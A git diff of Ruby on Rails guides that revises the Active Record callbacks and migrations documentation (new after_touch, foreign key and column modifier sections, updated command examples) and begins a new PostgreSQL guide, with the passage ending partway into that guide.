b/guides/source/active_record_callbacks.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Callbacks ======================= @@ -15,7 +17,7 @@ After reading this guide, you will know: The Object Life Cycle --------------------- -During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data. +During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data. Callbacks allow you to trigger logic before or after an alteration of an object's state. @@ -35,11 +37,11 @@ class User < ActiveRecord::Base before_validation :ensure_login_has_a_value protected - def ensure_login_has_a_value - if login.nil? - self.login = email unless email.blank? + def ensure_login_has_a_value + if login.nil? + self.login = email unless email.blank? + end end - end end ``` @@ -49,13 +51,13 @@ The macro-style class methods can also receive a block. Consider using this styl class User < ActiveRecord::Base validates :login, :email, presence: true - before_create do |user| - user.name = user.login.capitalize if user.name.blank? + before_create do + self.name = login.capitalize if name.blank? end end ``` -Callbacks can also be registered to only fire on certain lifecycle events: +Callbacks can also be registered to only fire on certain life cycle events: ```ruby class User < ActiveRecord::Base @@ -65,13 +67,13 @@ class User < ActiveRecord::Base after_validation :set_location, on: [ :create, :update ] protected - def normalize_name - self.name = self.name.downcase.titleize - end + def normalize_name + self.name = self.name.downcase.titleize + end - def set_location - self.location = LocationService.query(self) - end + def set_location + self.location = LocationService.query(self) + end end ``` @@ -92,6 +94,7 @@ Here is a list with all the available Active Record callbacks, listed in the sam * `around_create` * `after_create` * `after_save` +* `after_commit/after_rollback` ### Updating an Object @@ -103,12 +106,14 @@ Here is a list with all the available Active Record callbacks, listed in the sam * `around_update` * `after_update` * `after_save` +* `after_commit/after_rollback` ### Destroying an Object * `before_destroy` * `around_destroy` * `after_destroy` +* `after_commit/after_rollback` WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed. @@ -141,6 +146,55 @@ You have initialized an object! => #<User id: 1> ``` +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ActiveRecord::Base + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ActiveRecord::Base + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ActiveRecord::Base + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last +=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> @employee.touch +Employee/Company was touched +An Employee was touched +=> true +``` + Running Callbacks ----------------- @@ -157,10 +211,9 @@ The following methods trigger callbacks: * `save!` * `save(validate: false)` * `toggle!` -* `update` * `update_attribute` -* `update_attributes` -* `update_attributes!` +* `update` +* `update!` * `valid?` Additionally, the `after_find` callback is triggered by the following finder methods: @@ -168,7 +221,7 @@ Additionally, the `after_find` callback is triggered by the following finder met * `all` * `first` * `find` -* `find_all_by_*` +* `find_by` * `find_by_*` * `find_by_*!` * `find_by_sql` @@ -176,12 +229,12 @@ Additionally, the `after_find` callback is triggered by the following finder met The `after_initialize` callback is triggered every time a new object of the class is initialized. -NOTE: The `find_all_by_*`, `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders) +NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders) Skipping Callbacks ------------------ -Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks by using the following methods: * `decrement` * `decrement_counter` @@ -196,6 +249,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s * `update_all` * `update_counters` +These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + Halting Execution ----------------- @@ -203,32 +258,32 @@ As you start registering new callbacks for your models, they will be queued for The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. Relational Callbacks -------------------- -Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model: +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model: ```ruby class User < ActiveRecord::Base - has_many :posts, dependent: :destroy + has_many :articles, dependent: :destroy end -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base after_destroy :log_destroy_action def log_destroy_action - puts 'Post destroyed' + puts 'Article destroyed' end end >> user = User.first => #<User id: 1> ->> user.posts.create! -=> #<Post id: 1, user_id: 1> +>> user.articles.create! +=> #<Article id: 1, user_id: 1> >> user.destroy -Post destroyed +Article destroyed => #<User id: 1> ``` @@ -275,7 +330,7 @@ When writing conditional callbacks, it is possible to mix both `:if` and `:unles ```ruby class Comment < ActiveRecord::Base after_create :send_email_to_author, if: :author_wants_emails?, - unless: Proc.new { |comment| comment.post.ignore_comments? } + unless: Proc.new { |comment| comment.article.ignore_comments? } end ``` @@ -289,7 +344,7 @@ Here's an example where we create a class with an `after_destroy` callback for a ```ruby class PictureFileCallbacks def after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -309,7 +364,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we ```ruby class PictureFileCallbacks def self.after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -344,19 +399,17 @@ By using the `after_commit` callback we can account for this case. ```ruby class PictureFile < ActiveRecord::Base - attr_accessor :delete_file - - after_destroy do |picture_file| - picture_file.delete_file = picture_file.filepath - end + after_commit :delete_picture_file_from_disk, on: [:destroy] - after_commit do |picture_file| - if picture_file.delete_file && File.exist?(picture_file.delete_file) - File.delete(picture_file.delete_file) - picture_file.delete_file = nil + def delete_picture_file_from_disk + if File.exist?(filepath) + File.delete(filepath) end end end ``` -The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +NOTE: the `:on` option specifies when a callback will be fired. If you +don't supply the `:on` option the callback will fire for every action. + +WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/migrations.md b/guides/source/active_record_migrations.md index 617e01bd15..8ae282bad2 100644 --- a/guides/source/migrations.md +++ b/guides/source/active_record_migrations.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Migrations ======================== @@ -18,9 +20,10 @@ After reading this guide, you will know: Migration Overview ------------------ -Migrations are a convenient way to alter your database schema over time in a -consistent and easy way. They use a Ruby DSL so that you don't have to write -SQL by hand, allowing your schema and changes to be database independent. +Migrations are a convenient way to +[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration) +in a consistent and easy way. They use a Ruby DSL so that you don't have to +write SQL by hand, allowing your schema and changes to be database independent. You can think of each migration as being a new 'version' of the database. A schema starts off with nothing in it, and each migration modifies it to add or @@ -38,7 +41,7 @@ class CreateProducts < ActiveRecord::Migration t.string :name t.text :description - t.timestamps + t.timestamps null: false end end end @@ -61,6 +64,10 @@ migrations are wrapped in a transaction. If the database does not support this then when a migration fails the parts of it that succeeded will not be rolled back. You will have to rollback the changes that were made by hand. +NOTE: There are certain queries that can't run inside a transaction. If your +adapter supports DDL transactions you can use `disable_ddl_transaction!` to +disable them for a single migration. + If you wish for a migration to do something that Active Record doesn't know how to reverse, you can use `reversible`: @@ -116,7 +123,7 @@ Of course, calculating timestamps is no fun, so Active Record provides a generator to handle making it for you: ```bash -$ rails generate migration AddPartNumberToProducts +$ bin/rails generate migration AddPartNumberToProducts ``` This will create an empty but appropriately named migration: @@ -133,7 +140,23 @@ followed by a list of column names and types then a migration containing the appropriate `add_column` and `remove_column` statements will be created. ```bash -$ rails generate migration AddPartNumberToProducts part_number:string +$ bin/rails generate migration AddPartNumberToProducts part_number:string +``` + +will generate + +```ruby +class AddPartNumberToProducts < ActiveRecord::Migration + def change + add_column :products, :part_number, :string + end +end +``` + +If you'd like to add an index on the new column, you can do that as well: + +```bash +$ bin/rails generate migration AddPartNumberToProducts part_number:string:index ``` will generate @@ -142,14 +165,16 @@ will generate class AddPartNumberToProducts < ActiveRecord::Migration def change add_column :products, :part_number, :string + add_index :products, :part_number end end ``` -Similarly, + +Similarly, you can generate a migration to remove a column from the command line: ```bash -$ rails generate migration RemovePartNumberFromProducts part_number:string +$ bin/rails generate migration RemovePartNumberFromProducts part_number:string ``` generates @@ -162,10 +187,10 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration end ``` -You are not limited to one magically generated column. For example +You are not limited to one magically generated column. For example: ```bash -$ rails generate migration AddDetailsToProducts part_number:string price:decimal +$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal ``` generates @@ -179,15 +204,36 @@ class AddDetailsToProducts < ActiveRecord::Migration end ``` +If the migration name is of the form "CreateXXX" and is +followed by a list of column names and types then a migration creating the table +XXX with the columns listed will be generated. For example: + +```bash +$ bin/rails generate migration CreateProducts name:string part_number:string +``` + +generates + +```ruby +class CreateProducts < ActiveRecord::Migration + def change + create_table :products do |t| + t.string :name + t.string :part_number + end + end +end +``` + As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit by editing the `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file. Also, the generator accepts column type as `references`(also available as -`belongs_to`). For instance +`belongs_to`). For instance: ```bash -$ rails generate migration AddUserRefToProducts user:references +$ bin/rails generate migration AddUserRefToProducts user:references ``` generates @@ -205,7 +251,7 @@ This migration will create a `user_id` column and appropriate index. There is also a generator which will produce join tables if `JoinTable` is part of the name: ```bash -rails g migration CreateJoinTableCustomerProduct customer product +$ bin/rails g migration CreateJoinTableCustomerProduct customer product ``` will produce the following migration: @@ -226,10 +272,10 @@ end The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for -adding these columns will also be created. For example, running +adding these columns will also be created. For example, running: ```bash -$ rails generate model Product name:string description:text +$ bin/rails generate model Product name:string description:text ``` will create a migration that looks like this @@ -241,7 +287,7 @@ class CreateProducts < ActiveRecord::Migration t.string :name t.text :description - t.timestamps + t.timestamps null: false end end end @@ -249,20 +295,15 @@ end You can append as many column name/type pairs as you want. -### Supported Type Modifiers +### Passing Modifiers -You can also specify some options just after the field type between curly -braces. You can use the following modifiers: +Some commonly used [type modifiers](#column-modifiers) can be passed directly on +the command line. They are enclosed by curly braces and follow the field type: -* `limit` Sets the maximum size of the `string/text/binary/integer` fields -* `precision` Defines the precision for the `decimal` fields -* `scale` Defines the scale for the `decimal` fields -* `polymorphic` Adds a `type` column for `belongs_to` associations - -For instance, running +For instance, running: ```bash -$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic} +$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} ``` will produce a migration that looks like this @@ -270,12 +311,14 @@ will produce a migration that looks like this ```ruby class AddDetailsToProducts < ActiveRecord::Migration def change - add_column :products, :price, precision: 5, scale: 2 - add_reference :products, :user, polymorphic: true, index: true + add_column :products, :price, :decimal, precision: 5, scale: 2 + add_reference :products, :supplier, polymorphic: true, index: true end end ``` +TIP: Have a look at the generators help output for further details. + Writing a Migration ------------------- @@ -301,7 +344,7 @@ By default, `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or, if you don't want a primary key at all, you can pass the option `id: false`. If you need to pass database specific options -you can place an SQL fragment in the `:options` option. For example, +you can place an SQL fragment in the `:options` option. For example: ```ruby create_table :products, options: "ENGINE=BLACKHOLE" do |t| @@ -315,7 +358,7 @@ will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table ### Creating a Join Table Migration method `create_join_table` creates a HABTM join table. A typical use -would be +would be: ```ruby create_join_table :products, :categories @@ -323,10 +366,18 @@ create_join_table :products, :categories which creates a `categories_products` table with two columns called `category_id` and `product_id`. These columns have the option `:null` set to -`false` by default. +`false` by default. This can be overridden by specifying the `:column_options` +option. + +```ruby +create_join_table :products, :categories, column_options: {null: true} +``` -You can pass the option `:table_name` with you want to customize the table -name. For example, +will create the `product_id` and `category_id` with the `:null` option as +`true`. + +You can pass the option `:table_name` when you want to customize the table +name. For example: ```ruby create_join_table :products, :categories, table_name: :categorization @@ -334,21 +385,21 @@ create_join_table :products, :categories, table_name: :categorization will create a `categorization` table. -By default, `create_join_table` will create two columns with no options, but -you can specify these options using the `:column_options` option. For example, +`create_join_table` also accepts a block, which you can use to add indices +(which are not created by default) or additional columns: ```ruby -create_join_table :products, :categories, column_options: {null: true} +create_join_table :products, :categories do |t| + t.index :product_id + t.index :category_id +end ``` -will create the `product_id` and `category_id` with the `:null` option as -`true`. - ### Changing Tables A close cousin of `create_table` is `change_table`, used for changing existing tables. It is used in a similar fashion to `create_table` but the object -yielded to the block knows more tricks. For example +yielded to the block knows more tricks. For example: ```ruby change_table :products do |t| @@ -362,13 +413,94 @@ end removes the `description` and `name` columns, creates a `part_number` string column and adds an index on it. Finally it renames the `upccode` column. +### Changing Columns + +Like the `remove_column` and `add_column` Rails provides the `change_column` +migration method. + +```ruby +change_column :products, :part_number, :text +``` + +This changes the column `part_number` on products table to be a `:text` field. + +Besides `change_column`, the `change_column_null` and `change_column_default` +methods are used specifically to change the null and default values of a +column. + +```ruby +change_column_null :products, :name, false +change_column_default :products, :approved, false +``` + +This sets `:name` field on products to a `NOT NULL` column and the default +value of the `:approved` field to false. + +TIP: Unlike `change_column` (and `change_column_default`), `change_column_null` +is reversible. + +### Column Modifiers + +Column modifiers can be applied when creating or changing a column: + +* `limit` Sets the maximum size of the `string/text/binary/integer` fields. +* `precision` Defines the precision for the `decimal` fields, representing the +total number of digits in the number. +* `scale` Defines the scale for the `decimal` fields, representing the +number of digits after the decimal point. +* `polymorphic` Adds a `type` column for `belongs_to` associations. +* `null` Allows or disallows `NULL` values in the column. +* `default` Allows to set a default value on the column. Note that if you +are using a dynamic value (such as a date), the default will only be calculated +the first time (i.e. on the date the migration is applied). +* `index` Adds an index for the column. +* `required` Adds `required: true` for `belongs_to` associations and +`null: false` to the column in the migration. + +Some adapters may support additional options; see the adapter specific API docs +for further information. + +### Foreign Keys + +While it's not required you might want to add foreign key constraints to +[guarantee referential integrity](#active-record-and-referential-integrity). + +```ruby +add_foreign_key :articles, :authors +``` + +This adds a new foreign key to the `author_id` column of the `articles` +table. The key references the `id` column of the `authors` table. If the +column names can not be derived from the table names, you can use the +`:column` and `:primary_key` options. + +Rails will generate a name for every foreign key starting with +`fk_rails_` followed by 10 random characters. +There is a `:name` option to specify a different name if needed. + +NOTE: Active Record only supports single column foreign keys. `execute` and +`structure.sql` are required to use composite foreign keys. + +Removing a foreign key is easy as well: + +```ruby +# let Active Record figure out the column name +remove_foreign_key :accounts, :branches + +# remove foreign key for a specific column +remove_foreign_key :accounts, column: :owner_id + +# remove foreign key by name +remove_foreign_key :accounts, name: :special_fk_name +``` + ### When Helpers aren't Enough If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL: ```ruby -Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') ``` For more details and examples of individual methods, check the API documentation. @@ -392,10 +524,11 @@ definitions: * `add_index` * `add_reference` * `add_timestamps` +* `add_foreign_key` * `create_table` * `create_join_table` * `drop_table` (must supply a block) -* `drop_join_table` (must supply a block) +* `drop_join_table` (must supply a block) * `remove_timestamps` * `rename_column` * `rename_index` @@ -412,29 +545,28 @@ or write the `up` and `down` methods instead of using the `change` method. Complex migrations may require processing that Active Record doesn't know how to reverse. You can use `reversible` to specify what to do when running a -migration what else to do when reverting it. For example, +migration what else to do when reverting it. For example: ```ruby class ExampleMigration < ActiveRecord::Migration def change - create_table :products do |t| - t.references :category + create_table :distributors do |t| + t.string :zipcode end reversible do |dir| dir.up do - #add a foreign key + # add a CHECK constraint execute <<-SQL - ALTER TABLE products - ADD CONSTRAINT fk_products_categories - FOREIGN KEY (category_id) - REFERENCES categories(id) + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5) NO INHERIT; SQL end dir.down do execute <<-SQL - ALTER TABLE products - DROP FOREIGN KEY fk_products_categories + ALTER TABLE distributors + DROP CONSTRAINT zipchk SQL end end @@ -442,12 +574,13 @@ class ExampleMigration < ActiveRecord::Migration add_column :users, :home_page_url, :string rename_column :users, :email, :email_address end +end ``` -Using `reversible` will insure that the instructions are executed in the +Using `reversible` will ensure that the instructions are executed in the right order too. If the previous example migration is reverted, the `down` block will be run after the `home_page_url` column is removed and -right before the table `products` is dropped. +right before the table `distributors` is dropped. Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise @@ -470,16 +603,15 @@ made in the `up` method. The example in the `reversible` section is equivalent t ```ruby class ExampleMigration < ActiveRecord::Migration def up - create_table :products do |t| - t.references :category + create_table :distributors do |t| + t.string :zipcode end - #add a foreign key + # add a CHECK constraint execute <<-SQL - ALTER TABLE products - ADD CONSTRAINT fk_products_categories - FOREIGN KEY (category_id) - REFERENCES categories(id) + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5); SQL add_column :users, :home_page_url, :string @@ -491,11 +623,11 @@ class ExampleMigration < ActiveRecord::Migration remove_column :users, :home_page_url execute <<-SQL - ALTER TABLE products - DROP FOREIGN KEY fk_products_categories + ALTER TABLE distributors + DROP CONSTRAINT zipchk SQL - drop_table :products + drop_table :distributors end end ``` @@ -526,43 +658,27 @@ end The `revert` method also accepts a block of instructions to reverse. This could be useful to revert selected parts of previous migrations. For example, let's imagine that `ExampleMigration` is committed and it -is later decided it would be best to serialize the product list instead. -One could write: +is later decided it would be best to use Active Record validations, +in place of the `CHECK` constraint, to verify the zipcode. ```ruby -class SerializeProductListMigration < ActiveRecord::Migration +class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration def change - add_column :categories, :product_list - - reversible do |dir| - dir.up do - # transfer data from Products to Category#product_list - end - dir.down do - # create Products from Category#product_list - end - end - revert do # copy-pasted code from ExampleMigration - create_table :products do |t| - t.references :category - end - reversible do |dir| dir.up do - #add a foreign key + # add a CHECK constraint execute <<-SQL - ALTER TABLE products - ADD CONSTRAINT fk_products_categories - FOREIGN KEY (category_id) - REFERENCES categories(id) + ALTER TABLE distributors + ADD CONSTRAINT zipchk + CHECK (char_length(zipcode) = 5); SQL end dir.down do execute <<-SQL - ALTER TABLE products - DROP FOREIGN KEY fk_products_categories + ALTER TABLE distributors + DROP CONSTRAINT zipchk SQL end end @@ -590,16 +706,16 @@ method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration. -Note that running the `db:migrate` also invokes the `db:schema:dump` task, which +Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which will update your `db/schema.rb` file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate -to version 20080906120000 run +to version 20080906120000 run: ```bash -$ rake db:migrate VERSION=20080906120000 +$ bin/rake db:migrate VERSION=20080906120000 ``` If version 20080906120000 is greater than the current version (i.e., it is @@ -613,10 +729,10 @@ down to, but not including, 20080906120000. A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version -number associated with the previous migration you can run +number associated with the previous migration you can run: ```bash -$ rake db:rollback +$ bin/rake db:rollback ``` This will rollback the latest migration, either by reverting the `change` @@ -624,42 +740,47 @@ method or by running the `down` method. If you need to undo several migrations you can provide a `STEP` parameter: ```bash -$ rake db:rollback STEP=3 +$ bin/rake db:rollback STEP=3 ``` will revert the last 3 migrations. The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task, you can use the `STEP` parameter -if you need to go more than one version back, for example +if you need to go more than one version back, for example: ```bash -$ rake db:migrate:redo STEP=3 +$ bin/rake db:migrate:redo STEP=3 ``` Neither of these Rake tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. +### Setup the Database + +The `rake db:setup` task will create the database, load the schema and initialize +it with the seed data. + ### Resetting the Database -The `rake db:reset` task will drop the database, recreate it and load the -current schema into it. +The `rake db:reset` task will drop the database and set it up again. This is +functionally equivalent to `rake db:drop db:setup`. NOTE: This is not the same as running all the migrations. It will only use the -contents of the current schema.rb file. If a migration can't be rolled back, -'rake db:reset' may not help you. To find out more about dumping the schema see -'[schema dumping and you](#schema-dumping-and-you).' +contents of the current `schema.rb` file. If a migration can't be rolled back, +`rake db:reset` may not help you. To find out more about dumping the schema see +[Schema Dumping and You](#schema-dumping-and-you) section. ### Running Specific Migrations If you need to run a specific migration up or down, the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `change`, `up` or `down` method -invoked, for example, +invoked, for example: ```bash -$ rake db:migrate:up VERSION=20080906120000 +$ bin/rake db:migrate:up VERSION=20080906120000 ``` will run the 20080906120000 migration by running the `change` method (or the @@ -675,7 +796,7 @@ To run migrations against another environment you can specify it using the migrations against the `test` environment you could run: ```bash -$ rake db:migrate RAILS_ENV=test +$ bin/rake db:migrate RAILS_ENV=test ``` ### Changing the Output of Running Migrations @@ -698,7 +819,7 @@ Several methods are provided in migrations that allow you to control all this: | say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. | say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. -For example, this migration +For example, this migration: ```ruby class CreateProducts < ActiveRecord::Migration @@ -707,7 +828,7 @@ class CreateProducts < ActiveRecord::Migration create_table :products do |t| t.string :name t.text :description - t.timestamps + t.timestamps null: false end end @@ -761,157 +882,6 @@ The `revert` method can be helpful when writing a new migration to undo previous migrations in whole or in part (see [Reverting Previous Migrations](#reverting-previous-migrations) above). -Using Models in Your Migrations -------------------------------- - -When creating or updating data in a migration it is often tempting to use one -of your models. After all, they exist to provide easy access to the underlying -data. This can be done, but some caution should be observed. - -For example, problems occur when the model uses database columns which are (1) -not currently in the database and (2) will be created by this or a subsequent -migration. - -Consider this example, where Alice and Bob are working on the same code base -which contains a `Product` model: - -Bob goes on vacation. - -Alice creates a migration for the `products` table which adds a new column and -initializes it. She also adds a validation to the `Product` model for the new -column. - -```ruby -# db/migrate/20100513121110_add_flag_to_product.rb - -class AddFlagToProduct < ActiveRecord::Migration - def change - add_column :products, :flag, :boolean - reversible do |dir| - dir.up { Product.update_all flag: false } - end - Product.update_all flag: false - end -end -``` - -```ruby -# app/model/product.rb - -class Product < ActiveRecord::Base - validates :flag, presence: true -end -``` - -Alice adds a second migration which adds and initializes another column to the -`products` table and also adds a validation to the `Product` model for the new -column. - -```ruby -# db/migrate/20100515121110_add_fuzz_to_product.rb - -class AddFuzzToProduct < ActiveRecord::Migration - def change - add_column :products, :fuzz, :string - reversible do |dir| - dir.up { Product.update_all fuzz: 'fuzzy' } - end - end -end -``` - -```ruby -# app/model/product.rb - -class Product < ActiveRecord::Base - validates :flag, :fuzz, presence: true -end -``` - -Both migrations work for Alice. - -Bob comes back from vacation and: - -* Updates the source - which contains both migrations and the latest version - of the Product model. -* Runs outstanding migrations with `rake db:migrate`, which - includes the one that updates the `Product` model. - -The migration crashes because when the model attempts to save, it tries to -validate the second added column, which is not in the database when the _first_ -migration runs: - -``` -rake aborted! -An error has occurred, this and all later migrations canceled: - -undefined method `fuzz' for #<Product:0x000001049b14a0> -``` - -A fix for this is to create a local model within the migration. This keeps -Rails from running the validations, so that the migrations run to completion. - -When using a local model, it's a good idea to call -`Product.reset_column_information` to refresh the `ActiveRecord` cache for the -`Product` model prior to updating data in the database. - -If Alice had done this instead, there would have been no problem: - -```ruby -# db/migrate/20100513121110_add_flag_to_product.rb - -class AddFlagToProduct < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def change - add_column :products, :flag, :boolean - Product.reset_column_information - reversible do |dir| - dir.up { Product.update_all flag: false } - end - end -end -``` - -```ruby -# db/migrate/20100515121110_add_fuzz_to_product.rb - -class AddFuzzToProduct < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def change - add_column :products, :fuzz, :string - Product.reset_column_information - reversible do |dir| - dir.up { Product.update_all fuzz: 'fuzzy' } - end - end -end -``` - -There are other ways in which the above example could have gone badly. - -For example, imagine that Alice creates a migration that selectively -updates the `description` field on certain products. She runs the -migration, commits the code, and then begins working on the next feature, -which is to add a new column `fuzz` to the products table. - -She creates two migrations for this new feature, one which adds the new -column, and a second which selectively updates the `fuzz` column based on -other product attributes. - -These migrations run just fine, but when Bob comes back from his vacation -and calls `rake db:migrate` to run all the outstanding migrations, he gets a -subtle bug: The descriptions have defaults, and the `fuzz` column is present, -but `fuzz` is nil on all products. - -The solution is again to use `Product.reset_column_information` before -referencing the Product model in a migration, ensuring the Active Record's -knowledge of the table structure is current before manipulating data in those -records. - Schema Dumping and You ---------------------- @@ -973,16 +943,16 @@ that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. There is however a trade-off: `db/schema.rb` cannot express database specific -items such as foreign key constraints, triggers, or stored procedures. While in -a migration you can execute custom SQL statements, the schema dumper cannot -reconstitute those statements from the database. If you are using features like -this, then you should set the schema format to `:sql`. +items such as triggers, or stored procedures. While in a migration you can +execute custom SQL statements, the schema dumper cannot reconstitute those +statements from the database. If you are using features like this, then you +should set the schema format to `:sql`. Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the `db:structure:dump` Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` -utility is used. For MySQL, this file will contain the output of `SHOW CREATE -TABLE` for the various tables. +utility is used. For MySQL, this file will contain the output of +`SHOW CREATE TABLE` for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's @@ -994,11 +964,16 @@ schema into a RDBMS other than the one used to create it. Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. +`db/schema.rb` contains the current version number of the database. This +ensures conflicts are going to happen in the case of a merge where both +branches touched the schema. When that happens, solve conflicts manually, +keeping the highest version number of the two. + Active Record and Referential Integrity --------------------------------------- The Active Record way claims that intelligence belongs in your models, not in -the database. As such, features such as triggers or foreign key constraints, +the database. As such, features such as triggers or constraints, which push some of that intelligence back into the database, are not heavily used. @@ -1007,14 +982,10 @@ which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them -with foreign key constraints in the database. - -Although Active Record does not provide any tools for working directly with -such features, the `execute` method can be used to execute arbitrary SQL. You -could also use some plugin like -[foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key -support to Active Record (including support for dumping foreign keys in -`db/schema.rb`). +with [foreign key constraints](#foreign-keys) in the database. + +Although Active Record does not provide all the tools for working directly with +such features, the `execute` method can be used to execute arbitrary SQL. Migrations and Seed Data ------------------------ diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md new file mode 100644 index 0000000000..fa0f31cbbd --- /dev/null +++ b/guides/source/active_record_postgresql.md @@ -0,0 +1,438 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Active Record and PostgreSQL +============================ + +This guide covers PostgreSQL specific usage of Active Record. + +After reading this guide, you will know: + +* How to use PostgreSQL's datatypes. +* How to use UUID primary keys. +* How to implement full text search with PostgreSQL. +* How to back your Active Record models with database views. + +-------------------------------------------------------------------------------- + +In order to use the PostgreSQL adapter you need to have at least version 8.2 +installed. Older versions are not supported. + +To get started with PostgreSQL have a look at the +[configuring Rails guide](configuring.html#configuring-a-postgresql-database). +It describes how to properly setup Active Record for PostgreSQL. + +Datatypes +--------- + +PostgreSQL offers a number of specific datatypes. Following is a list of types, +that are supported by the PostgreSQL adapter. + +### Bytea + +* [type definition](http://www.postgresql.org/docs/9.3/static/datatype-binary.html) +* [functions and operators](http://www.postgresql.org/docs/9.3/static/functions-binarystring.html) + +```ruby +# 